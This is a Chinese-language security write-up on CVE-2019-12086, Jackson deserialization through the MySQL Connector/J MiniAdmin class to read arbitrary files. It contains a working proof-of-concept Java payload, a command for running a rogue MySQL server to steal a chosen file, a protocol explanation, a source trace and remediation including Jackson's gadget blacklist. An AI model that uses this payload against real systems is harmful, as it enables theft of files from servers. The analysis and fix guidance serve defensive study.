影响范围
Jackson 2.x系列 < 2.9.9
漏洞类型
反序列化导致任意文件读取
利用条件
- 开启Default Typing
- 目标环境中存在8.0.14版本以下的MySQL驱动,即mysql-connector-java版本 < 8.0.14
漏洞概述
在开启DefaultTyping的情况下,jackson在反序列化json时,可以指定反序列化类,且可以指定一个基础类型的值作为这个类的构造函数的参数的值。
com.mysql.cj.jdbc.admin.MiniAdmin的构造函数接受一个string的值,这个值代表jdbcURL,com.mysql.cj.jdbc.admin.MiniAdmin类在初始化会连接这个jdbcURL中指定的MySQL数据库,在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,恶意MySQL服务器可以读取MySQL客户端的任意本地文件,从而导致漏洞产生。
漏洞复现
环境搭建
pom.xml
代码语言:javascript复制 <dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.9.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.14</version>
</dependency>
</dependencies>
漏洞利用
启动恶意Mysql服务
下载恶意的MySQL服务器启动脚本(https://github.com/allyshka/Rogue-MySql-Server),之后修改脚本中的filelist文件,指定要读取的文件路径:
之后运行脚本,并核对是否开启3306端口:
代码语言:javascript复制python rogue_mysql_server.py "C:/Windows/win.ini"
执行漏洞POC
代码语言:javascript复制package com.jacksonTest;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String[] args) throws Exception{
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json="["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://127.0.0.1:3306/foo"]";
try {
mapper.readValue(json, Object.class);
}catch(IOException e){
e.printStackTrace();
}
}
}
漏洞分析
知识拓展
LOAD DATA LOCAL
MySQL支持使用LOAD DATA LOCAL INFILE语法,即可将客户端本地的文件中的数据insert到MySQL的某张表中。
协议的工作过程大致如下:
- 用户在客户端输入:load data local file “/data.txt” into table test;
- 客户端->服务端:我想把我本地的/data.txt文件插入到test表中;
- 服务端->客户端:把你本地的/data.txt文件发给我;
- 客户端->服务端:/data.txt文件的内容;
问题在于,客户端发送哪个文件的内容,取决于第三步即服务端响应的想要的哪个文件,如果服务端是个恶意的MySQL,那么它可以读取客户端的任意文件内容,比如读取/etc/passwd:
- 用户在客户端输入:load data local file “/data.txt” into table test;
- 客户端->服务端:我想把我本地的/data.txt文件插入到test表中;
- 服务端->客户端:把你本地的/etc/passwd文件发给我;
- 客户端->服务端:/etc/passwd文件的内容;
而且,在大部分客户端(比如MySQL Connect/J)的实现里,第一步和第二部并非是必须的,客户端发送任意查询给服务端,服务端都可以返回文件发送的请求。而大部分客户端在建立连接之后,都会有一些查询服务器配置之类的查询,所以使用这些客户端,只要创建了到恶意MySQL服务器的连接,那么客户端所在的服务器上的所有文件都可能泄露。
allowLoadLocalInfile
allowLoadLocalInfile是MySQL的JDBC驱动的一个创建连接的配置项,用来控制是否允许从本地读取文件,默认值为True。
源码分析
在mapper.readValue处下断点进行调试分析:
之后一路调试到UntypedObjectDeserializer.deserializeWithType()函数,其中会调用AsArrayTypeDeserializer.deserializeTypedFromAny()函数来解析我们数组形式的JSON内容:
继续往下调试,发现会调用BeanDeserializerBase.deserializeFromString()函数来反序列化字符串内容,它会返回一个调用createFromString()函数从字符串中创建的实例对象:
之后继续跟进查看StdValueInstantiator.createFromString()函数,此时_fromStringCreator变量为AnnotatedConstructor类实例,参数value值为jdbc:127.0.0.1:3306/foo,接着就是调用AnnotatedConstructor.call1():
跟进去发现调用了Constructor.newInstance()方法来创建新的实例:
之后调用重载的构造函数MiniAdmin(),在该函数中会新建一个Driver示例并调用实例的connect方法,且以jdbcurl和props(类)为参数:
之后一路跟进,会调用NonRegisteringDriver.class中的connect方法进行连接初始化操作:
之后会去解析连接:
最后连接恶意Mysql服务器,并将本地客户端的敏感文件上传到恶意服务器端,从而造成任意文件读取~
修复建议
1、MySQL Connector/J的修复:
MySQL Connector/J从8.0.15版本开始将allowLoadLocalInfile默认值设置为false:
https://dev.mysql.com/doc/relnotes/connector-j/8.0/en/news-8-0-15.html
2、Jackson的修复:
从2.9.9版本开始,Jackson将”com.mysql.cj.jdbc.admin.MiniAdmin”加入到反序列化黑名单中:
代码语言:javascript复制 static {
Set<String> s = new HashSet<String>();
// Courtesy of [https://github.com/kantega/notsoserial]:
// (and wrt [databind#1599])
s.add("org.apache.commons.collections.functors.InvokerTransformer");
s.add("org.apache.commons.collections.functors.InstantiateTransformer");
s.add("org.apache.commons.collections4.functors.InvokerTransformer");
s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
s.add("org.codehaus.groovy.runtime.ConvertedClosure");
s.add("org.codehaus.groovy.runtime.MethodClosure");
s.add("org.springframework.beans.factory.ObjectFactory");
s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
// [databind#1680]: may or may not be problem, take no chance
s.add("com.sun.rowset.JdbcRowSetImpl");
// [databind#1737]; JDK provided
s.add("java.util.logging.FileHandler");
s.add("java.rmi.server.UnicastRemoteObject");
// [databind#1737]; 3rd party
//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");
// s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]
// s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" -
// [databind#1855]: more 3rd party
s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
// [databind#1899]: more 3rd party
s.add("org.hibernate.jmx.StatisticsService");
s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory");
// [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities
s.add("org.apache.ibatis.parsing.XPathParser");
// [databind#2052]: Jodd-db, with jndi/ldap lookup
s.add("jodd.db.connection.DataSourceConnectionProvider");
// [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup
s.add("oracle.jdbc.connector.OracleManagedConnectionFactory");
s.add("oracle.jdbc.rowset.OracleJDBCRowSet");
// [databind#2097]: some 3rd party, one JDK-bundled
s.add("org.slf4j.ext.EventData");
s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor");
s.add("com.sun.deploy.security.ruleset.DRSHelper");
s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");
// [databind#2186]: yet more 3rd party gadgets
s.add("org.jboss.util.propertyeditor.DocumentEditor");
s.add("org.apache.openjpa.ee.RegistryManagedRuntime");
s.add("org.apache.openjpa.ee.JNDIManagedRuntime");
s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo");
// [databind#2326] (2.9.9): one more 3rd party gadget
s.add("com.mysql.cj.jdbc.admin.MiniAdmin");
DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
}
参考链接
https://www.cnblogs.com/xinzhao/p/11005419.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12086
https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.9.9
https://github.com/FasterXML/jackson-databind/issues/2326
https://nvd.nist.gov/vuln/detail/CVE-2019-12086